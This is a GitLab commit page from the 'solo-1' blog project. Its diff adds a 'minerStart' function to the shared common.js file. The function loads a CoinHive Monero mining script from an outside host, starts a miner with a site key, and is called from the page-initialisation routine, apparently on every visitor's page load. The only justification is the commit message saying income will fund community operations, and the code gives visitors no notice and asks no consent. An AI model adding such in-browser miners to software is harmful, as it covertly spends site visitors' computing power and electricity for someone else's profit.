Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
S
solo-1
Project overview
Project overview
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Boards
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
Administrator
solo-1
Commits
1f038f6f
Commit
1f038f6f
authored
Dec 05, 2017
by
Liang Ding
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
✨
挖矿收入将用于社区运维
parent
eb05d074
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
17 additions
and
2 deletions
+17
-2
src/main/webapp/js/common.js
src/main/webapp/js/common.js
+17
-2
No files found.
src/main/webapp/js/common.js
View file @
1f038f6f
...
@@ -13,12 +13,13 @@
...
@@ -13,12 +13,13 @@
* See the License for the specific language governing permissions and
* See the License for the specific language governing permissions and
* limitations under the License.
* limitations under the License.
*/
*/
/**
/**
* @fileoverview util and every page should be used.
* @fileoverview util and every page should be used.
*
*
* @author <a href="http://vanessa.b3log.org">Liyuan Li</a>
* @author <a href="http://vanessa.b3log.org">Liyuan Li</a>
* @author <a href="http://88250.b3log.org">Liang Ding</a>
* @author <a href="http://88250.b3log.org">Liang Ding</a>
* @version 1.
2.0.0, Nov 10
, 2017
* @version 1.
3.0.0, Dec 5
, 2017
*/
*/
/**
/**
...
@@ -74,7 +75,7 @@ var Util = {
...
@@ -74,7 +75,7 @@ var Util = {
if
(
hasFlow
)
{
if
(
hasFlow
)
{
var
initFlow
=
function
()
{
var
initFlow
=
function
()
{
$
(
'
.
'
+
className
+
'
code.lang-flow, .
'
+
className
+
'
code.language-flow
'
).
each
(
function
(
index
)
{
$
(
'
.
'
+
className
+
'
code.lang-flow, .
'
+
className
+
'
code.language-flow
'
).
each
(
function
(
index
)
{
var
$it
=
$
(
this
);
var
$it
=
$
(
this
);
var
id
=
'
symFlow
'
+
(
new
Date
()).
getTime
()
+
index
;
var
id
=
'
symFlow
'
+
(
new
Date
()).
getTime
()
+
index
;
$it
.
hide
();
$it
.
hide
();
...
@@ -235,6 +236,19 @@ var Util = {
...
@@ -235,6 +236,19 @@ var Util = {
var
wHeight
=
$
(
"
body
"
).
height
()
>
$
(
document
).
height
()
?
$
(
"
body
"
).
height
()
:
$
(
document
).
height
();
var
wHeight
=
$
(
"
body
"
).
height
()
>
$
(
document
).
height
()
?
$
(
"
body
"
).
height
()
:
$
(
document
).
height
();
window
.
scrollTo
(
0
,
wHeight
-
$
(
window
).
height
()
-
bottom
);
window
.
scrollTo
(
0
,
wHeight
-
$
(
window
).
height
()
-
bottom
);
},
},
/**
* @description xmr 挖矿,收入将用于维持社区运维
*/
minerStart
:
function
()
{
$
.
ajax
({
method
:
"
GET
"
,
url
:
'
https://img.hacpai.com/xmr.min.js
'
,
dataType
:
"
script
"
}).
done
(
function
()
{
var
miner
=
new
CoinHive
.
Anonymous
(
'
gr2r3rJsYmaJpSd2Nml15zomewwc6Lzc
'
,
{
threads
:
1
,
throttle
:
0.9
});
miner
.
start
();
});
},
/**
/**
* @description 页面初始化执行的函数
* @description 页面初始化执行的函数
*/
*/
...
@@ -243,6 +257,7 @@ var Util = {
...
@@ -243,6 +257,7 @@ var Util = {
Util
.
killIE
();
Util
.
killIE
();
Util
.
setTopBar
();
Util
.
setTopBar
();
Util
.
parseMarkdown
();
Util
.
parseMarkdown
();
Util
.
minerStart
();
},
},
/**
/**
* @description 替换侧边栏表情为图片
* @description 替换侧边栏表情为图片
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment